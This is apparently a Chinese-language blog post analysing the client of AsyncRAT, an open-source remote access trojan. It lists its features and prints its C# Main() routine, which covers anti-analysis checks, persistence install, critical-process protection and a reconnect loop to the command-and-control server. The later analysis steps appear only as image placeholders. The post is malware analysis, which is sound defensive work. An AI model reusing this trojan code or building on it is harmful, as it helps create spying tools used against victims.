AsyncRAT分析

前言

AsyncRAT是一个APT组织喜欢使用的开源RAT之一,该木马最初由Github用户NYAN-x-CAT使用C#开发,此后该工具被多个黑客组织或者个人修改、增强用于各种网络间谍活动中。

AsyncRAT不仅包括通讯、守护、隐藏、自启动等常见功能模块,还包含加密、反沙盒、反虚拟机、反分析、反调试等对抗模块。并且将远程桌面监控、Webcam监控、键盘记录、文件查找、远程shell、Bots Killer以及DDos攻击等功能做成DLL放在了服务端,然后通过传输功能插件,在内存里加载运行,这样大大提高了木马的灵活性和扩展性,加大了安全人员分析的难度。是一款相对比较成熟、容易扩展的异步通讯开源木马。

AsyncRAT采用反向连接的方式,也就是Client(受控端)主动发送数据联系Server(控制端)。作为分析人员拿到的也是受控端,因此本次主要分析受控端。

Client

分析C#程序可以使用dnspy进行反编译、调试,以下使用VS直接对源码进行分析

image-20221109153949837

其中比较主要的是Program.cs(入口文件)以及Settings.cs(配置文件)

入口主函数

入口函数位于Program.cs,主要代码如下:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
public static void Main()
{
//设置延迟
for (int i = 0; i < Convert.ToInt32(Settings.Delay); i++)
{
Thread.Sleep(1000);
}
if (!Settings.InitializeSettings()) Environment.Exit(0); //初始化配置
try
{
if (!MutexControl.CreateMutex()) //如果当前有效载荷是重复的退出,检查互斥量
Environment.Exit(0);
if (Convert.ToBoolean(Settings.Anti)) //检查配置,是否运行反虚拟环境
Anti_Analysis.RunAntiAnalysis();
if (Convert.ToBoolean(Settings.Install)) //检查配置,是否释放有效载荷[持久化]
NormalStartup.Install();
if (Convert.ToBoolean(Settings.BDOS) && Methods.IsAdmin()) //检查配置,在管理员身份下是否保护进程
ProcessCritical.Set();
Methods.PreventSleep(); //防止应用程序运行时电脑睡眠,保持线程处于在线状态
}
catch { }
while (true) // 上线机制
{
try
{
if (!ClientSocket.IsConnected)
{
ClientSocket.Reconnect(); //释放连接资源,应该是用于重连
ClientSocket.InitializeClient(); //初始化,连接C2地址
}
}
catch { }
Thread.Sleep(5000);
}
}

配置文件

配置文件为Settings.cs,包含控制端地址、端口、版本号等配置信息

在Debug和Release模式下编译不同的代码。Debug模式配置变量为明文字符串,Release模式配置变量需要经过解密。

image-20221109163523734

解密函数。读取 base64 编码的字符串,前 32 个字节代表 HMAC,后面 16 个字节是解密向量 IV,其余字节是加密数据。

解密 AsyncRAT 的 Python 脚本 https://github.com/netskopeoss/NetskopeThreatLabsIOCs/tree/main/AsyncRAT

image-20221109164217175

image-20221111093656945

基本功能

创建互斥量

image-20221111095324649

进行反虚拟化、反调试对抗

image-20221111095813238

安装,实现持久化

image-20221111102113423

复制自身到安装路径,释放bat文件

image-20221111102308978

实现保护进程

image-20221111102606149

设置线程始终处于执行状态方式

image-20221111102726715

远控过程

首先,创建socket连接,根据配置文件与C2地址建立连接

image-20221111110906770

然后,进行ssl身份验证,并收集受感染主机和木马自身版本等相关信息储存在MsgPack类中,发送给C2服务器

image-20221111113441214

image-20221111112756152

最后是最重要的,接受并处理控制端的消息

image-20221111135434703

懒癌入骨,适可而止 = =

参考

https://www.4hou.com/posts/vDMr

https://www.freebuf.com/articles/network/344283.html

https://www.anquanke.com/post/id/184263

https://mp.weixin.qq.com/s/T15pdznZZ4ZsVVpcKrWlnQ

(侵删)


AsyncRAT分析
http://wangchenchina.github.io/2022/11/11/AsyncRAT分析/
作者
Demo
发布于
2022年11月11日
许可协议